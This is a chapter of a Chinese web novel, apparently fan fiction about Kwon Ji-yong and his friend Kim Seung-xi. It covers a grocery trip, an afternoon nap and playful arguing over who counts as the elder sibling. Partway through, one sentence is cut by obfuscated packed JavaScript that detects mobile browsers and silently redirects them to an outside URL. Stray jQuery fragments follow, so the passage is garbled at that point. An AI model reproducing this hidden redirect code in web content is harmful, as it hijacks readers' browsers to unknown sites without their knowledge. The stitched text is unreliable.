10. 第 10 章

作品:《卷王夫妇驾到[娱乐圈]

    Elm City Market就在学校附近,步行5分钟,两人就到了超市。


    虽然只是一个耶鲁步行就能到达的小型生活超市,但是这里的品类也非常齐全,有机农产品、天然肉类海鲜以及新鲜面包都有。


    金胜昔拿了个购物车,把自己肩上的包放进去,又示意权至龙把书放进去。


    “真的就这么放进去吗?”权至龙再三确认,“如果有水撒上去怎么办?或者沾到污渍了呢?”


    “有水就晾干,沾到污渍就擦掉。”金胜昔理所应当地说。


    权至龙不解地歪歪头,“我以为你们应该会很爱护书籍。”


    “是很爱啊,包括这几本书我也很爱它,但是没必要太紧张。它没那么脆弱,打湿了或者弄脏了,只要不影响使用就可以了。任何的书,包括一些古籍,它的魅力除了在于它所记载的内容,还有一部分来源于它的每一人持有者所留下的使用痕迹,那是岁月给人类的馈赠。”金胜昔说,“就像你写歌的笔记本,它很珍贵,但是你会舍不得在上面圈点勾画吗?在不影响使用的情况下,会因为它被打湿或者粘上一些污渍就非常生气吗?”


    权至龙歪着头想了想,摇摇头,“不会。”


    “马甲,我也一样。”金胜昔摊手,“当然那些非常脆弱的古书和老刻本除外,那些书如果弄坏了,就再难找到第二本了。”


    权至龙看着眼前的朋友,觉得她在发光。


    金胜昔从来都是洒脱的,她不会过分纠结一些没必要的东西。


    不是说爱书的行为不对,而是她不会用“爱书”来给自己增加情绪负担。


    她清楚每一样东西的作用和价值,并以相对应的方式对待它们。


    古籍要爱惜,所以她不会给它们发生危险的机会;现在依旧能够出版再印的书要使用,她不会随意对待它们,但是也不会小心翼翼,给自己增加负担。


    书是这样,其他东西亦然。


    装着包包和书的购物车被发着光的金胜昔推到权至龙面前,权至龙自然地推着购物车,跟在金胜昔身边,听她给自己列着菜单。


    “鸡蛋羹、冬瓜焖鸡腿肉、煲仔饭、糖醋排骨、水煎梅花肉、辣炒年糕、盐焗鸡、麻辣烫、豉汁排骨、蒸肉饼,目前我就只会做这些菜,你看看你想吃什么。我一般就是中午在食堂随便吃点,晚上自己做饭。”


    权至龙听着菜名,“好像确实是中餐比较多诶,而且感觉你们家经常吃中餐。”


    “因为好吃啊。”金胜昔理直气壮,“我外婆基本都做中餐,所以我妈妈比较会做中餐,爸爸就负责韩餐,我就两个都吃。其实也喜欢韩餐,但是还没有掌握不开火的技能。”


    “那我都要吃。”权至龙提着要求。


    “可以啊。”金胜昔全部满足,“电蒸煮饭盒能做两个菜和一个饭,电饭锅还能做一个菜,想吃什么都不是问题,怒那都满足你。”


    看着金胜昔拍着胸脯,夸夸其谈的样子,权至龙咬着牙用力搂住她的脖子,“什么怒那不怒那的,你是东森啊东森,我才是欧巴!”


    金胜昔扒拉着权至龙的胳膊,不怕死地说:“有实力才是老大,现在你才是东森!”


    “呀!金胜昔,你真的是越来越无法无天了!”


    两人东拉西扯、打打闹闹着选好菜,结账时权至龙掏出自己的卡,被金胜昔一把拦住,“干什么?我是怒那,当然得我来结账!”


    “……”权至龙无语地看着金胜昔,“呀,金胜昔,你真的当怒那当上瘾了吗?”


    “怎么会上瘾呢?我不是才当了一会儿吗?”金胜昔拍拍权至龙的肩膀,“说好了啊,怒那拿奖学金养你,所以这一个月,你的所有消费由我买单。”


    说完还不忘补充:“但是不能买奢侈品啊,怒那的钱是很认真读书赚来的,暂时不支持奢侈品消费。”


    “……呐~”虽然很无语,但是权至龙点头了。


    结好账,权东森很自觉地拎起满满一大袋的食材,抱着书和金胜昔一起回了公寓。


    来回折腾这么一趟,其实到公寓后,两人一起收拾完带回来的东西,也才不到一点。


    金胜昔:“很久没起这么早了吧,换个衣服睡一觉,一会儿我来叫你。”


    “那你做什么?”权至龙边点头边问。


    “我也休息一会儿,今天天气太好了。”金胜昔没忍住上手揉了揉权至龙的黑色顺毛,“哇啊,款鸡涌,你现在真的很像东森啊,闹木kiyo~”


    被摸了头权至龙也不生气,两只手将金胜昔的脸挤在一起,“哇啊,金胜昔,你现在这样也闹木kiyo~金东森啊金东森!”


    两人谁也不让谁,对视上后,只是僵持了一秒,默契地同时松开手,嘴里都嘟囔着,“不和你一般见识。”


    然后转身背对对方,往相反的方向走去。


    在金胜昔看不到的地方,权至龙快一步走进房间,躲在门背后,对着金胜昔的背影大喊“金胜昔你是东森,我才是欧巴呀!”


    说完,快速关上门,隔绝住金胜昔的声音和视线。


    “……”想反击,但是对着一堵门真的反击不出来的金胜昔,硬生生把到嘴边的话咽了下去。


    权至龙耳朵贴在门板上,听到对面书房门关上,满意地换上睡衣,钻进被窝。


    哎古~不得不说,金胜昔铺的床真的很柔软呢,把整个人都包裹住了。


    “叮咚!”


    权至龙点开手机一看,是金胜昔的消息。


    【shanshan:权东森啊权东森,闹木幼稚啊,完全是东森行为呢,kiyo逸米哒!】


    一句话,三个“东森”,最后还要加一个“kiyo逸米哒”,权至龙没忍住笑了出来。


    哎—古~真是不服输呢,wuli闪闪啊!


    【捶糕少年:[略略略]】


    【shanshan:[掐死你]不准回了!睡觉!一个小时后叫你,不起来我就泼你冷水!】


    虽然是不正当的手段,但是认为自己赢了的金胜昔放下手机,美美开启午睡。


    觉得自己成功将对手气破防的权至龙同样得意地放下手机,享受难得的午睡时光。


    也许是因为这么多年一直都待在学校,需要按时上课,所以金胜昔是一个秩序感很强的人,说一个小时,一个小时后她就已经站在权至龙门外。


    敲了敲门,没人回应,金胜昔推开门,就看到柔软的床中间鼓起了一长条。


    “至龙啊?至龙?”


    金胜昔试探性的叫了两声,没人回应,才走到床边,轻轻推了一下整个人缩在被子里的权至龙,“至龙啊……”


    “嗯?”被子里传来一声像猫咪“嘤嘤”叫的声音。


    “两点了,不起来吗?”


    “嗯……”一只手从被子里伸出来,将盖在脸上的被子落下,露出权至龙睡眼惺忪的样子,声音沙哑,“两点了吗?”


    “呐,再睡晚上该睡不着了。”


    “那我起来。”


    看权至龙醒了,金胜昔就出去了。


    权至龙在床上发了会儿呆,出房间就看到金胜昔站在料理台前喝着水。


    听到声音,金胜昔回头看了眼头发乱糟糟的权至龙,“喝水吗?”


    “嗯……”


    权至龙摇摇晃晃地走过来,靠着料理台,伸出一只手,等金胜昔把水递给他。


    喝完一整杯温水,权至龙才慢慢清醒,“你今天下午做什么?”


    “看书啊。”金胜昔手里拿着书,“导师指定的文献,得收个尾,然后整理一下笔记心得,然后准备课堂研讨的发言提纲,后天要用。”


    权至龙鼓着嘴,跟在金胜昔身后,“那我做什么呢?”


    已经很久没有这样休息过了,突然可以什么都不想,他还有些不习惯呢。


    “不喜欢玩手机吗?”金胜昔坐在双人沙发上,看着站在自己面前的权至龙,“那陪我看书呗,可以去我书房挑。”


    “好啊。”


    权至龙从书房挑了一本自己感兴趣的书,在阳台的摇椅坐下。


    阳光正好,坐在这儿边晒太阳边看书,不要太舒服。


    金胜昔起身泡了壶茶,又洗了些水果,放在落地窗边的小饭桌上。


    将落地窗向两边拉开,原来那套餐桌椅成了分隔阳台和客厅的界线。


    金胜昔将餐椅拿到一边,又将小饭桌拉到两人手边,才再次坐下。


    权至龙晒着太阳,手里拿着书,手边是热茶和水果,扬起嘴角,真惬意的生活啊!


    惬意到什么程度呢?


    大概是金胜昔将只剩一点尾巴的书看完,准备打开电脑整理笔记的时候,转头就看到闭上眼睛的权至龙。


    冬日午后的阳光柔软得像揉开的棉絮,斜斜铺满阳台,空气里飘着暖融融的阳光味,混着手边红茶袅袅散开的清甜茶香。


    权至龙蜷在摇椅里,摊开的书扣在膝头,修长的手指还浅浅搭在书页上,睫毛眼瞎投出一小片柔和的阴影,伴着均匀的呼吸,在暖阳与茶香里睡得安稳又惬意。


    明知应该叫醒他,可想到这段时间他可能有过无数个夜不能寐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129328|196186||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    、睁眼等天明的夜晚,金胜昔还是不忍打扰他。


    轻轻将沙发上的毛毯盖在权至龙身上,想睡就睡吧,大不了晚上她陪他。


    不知过了多久,阳光偏移了角度,如水洗般的蓝天白云转而变成暖橙,慢慢过渡到灰蓝,再晕成深邃的藏蓝。


    权至龙悠悠转醒,周身太阳的暖意散尽,被身上软香毛毯的包裹感取代。


    视线越过小饭桌,客厅的灯不知何时被悄悄点亮,暖黄的光晕下,金胜昔屈膝坐在地毯上伏案写作业,侧脸被光影衬得柔和,屋内静悄悄的,只剩笔尖摩挲纸张的轻响。


    似是感应到权至龙的视线,忽的,金胜昔转头撞进了他的目光里,眉眼一弯,漾开一抹浅浅的笑,轻声问:“醒啦?”


    “嗯,醒了。”权至龙从侯建溢出低低的一声回应,嗓音还带着刚睡醒的慵懒沙哑,“怎么没叫我?”


    “肯恰那,能睡得着就多睡会儿。”金胜昔摇摇头,将本子合上,“饿了吗?我们准备吃饭?”


    权至龙喝了一整杯手边已经凉掉的茶水,“你饿了吗?”


    “还好。”金胜昔站起来,将权至龙身上的毯子拿过来,“先进来吧,太阳下山了,阳台会冷。你再不醒我也是要叫你的。”


    “呐~”权至龙声音软软糯糯地应着,“感觉睡了很久呢,书都没有看。”


    “没关系啊。”金胜昔继续将被子盖在有些懵懵地盘腿坐在沙发上的权至龙的身上,“没看完给你当纪念品带回首尔。”


    权至龙没骨头似的侧倒在沙发上,“那是不是不太好,连吃带拿的。”


    “没关系,怒那允许了。”金胜昔习惯性地嘴上占便宜。


    “呐~”


    这次权至龙没回呛,金胜昔还有些不习惯了,“怎么了?睡个午觉把魂睡丢了?”


    “阿尼。”权至龙摇摇头,眼神发直,语调也慢悠悠,“觉得太幸福了。”


    看着权至龙这倒在沙发上,脸被挤变形的样子,金胜昔伸手摸了摸他,从头发往下滑到脸颊,声音带着笑意,“哎古哎古,wuli至龙闹木kiyo~”


    “至龙啊,我们商量个事?”


    “……嗯?”权至龙语调慢悠悠的,人也慢半拍,“什么?”


    “你给我当一个月东森吧,怒那卡都给你刷,买奢侈品也可以。”金胜昔凑近,大眼睛瞪得圆溜溜地看着权至龙,眼神里满是期待,语气尽是诱惑,“怎么样怎么样?”


    权至龙眨眨眼睛,伸手捏住金胜昔软乎乎的脸颊,慢悠悠地说:“不怎么样。”


    金胜昔叹了口气,低下头,语气里满是遗憾,“清醒了呢……”


    “干什么,是觉得我没睡醒,想骗我做不平等交易?”权至龙觉得好笑。


    “怎么能是不平等交易呢?很公平的啊,我卡给你刷,你给我当弟弟,很公平啊!”


    “wei?”权至龙笑出声,“为什么总想当怒那?”


    “阿尼!”金胜昔摇头,严肃认真地说,“不是想当怒那,是想当你的怒那,wuli至龙今年真的闹木闹木kiyo~”


    像是怕自己的话没什么力度,金胜昔还专门拿出佐证材料。


    权至龙伸直脑袋去看,是两段视频。


    一段是《强心脏》的舞台上,黑色顺毛的权至龙扯了扯黑色西装的门襟,臭屁地做着自我介绍:“阿尼哈涩哟,鸡得勒滚逸米哒!”说完就害羞地双手捂脸坐下。


    另一段是bigbang《红霞》和《最后的问候》的舞台,开屏就是金毛小狮子“耶”的一声张开双手在舞台上“S”弯漂移,看着镜头的眼睛亮晶晶的,即使不是自己的part也完美表情管理,对着笑得露出标志性的八颗大白牙。


    “cute!闹木cute!”


    权至龙也觉得自己挺帅的,那段时间不少人都说他是“国民弟弟”,但是


    “安得!”权至龙毫不留情地拒绝,“我是欧巴啊,欧巴的卡也可以给你刷,可以买很多很多奢侈品。”


    “哎……”金胜昔遗憾叹气,“没想到我们十年友情,最大的分歧居然是这个。”


    “可是为什么会有这个分歧呢?”权至龙好笑地问,“我比你大啊!1988年8月18日出生的权至龙是1989年2月12日出生的金胜昔的欧巴啊!”


    “哼!”金胜昔气鼓鼓地从地毯上爬起来,往厨房走去,还不忘回头对权至龙放狠话,“我是不会放弃成为怒那这件事的!我是一个很有耐心的人!”


    “呀西,金闪闪,你真的说了很多次你是一个很有耐心的人。”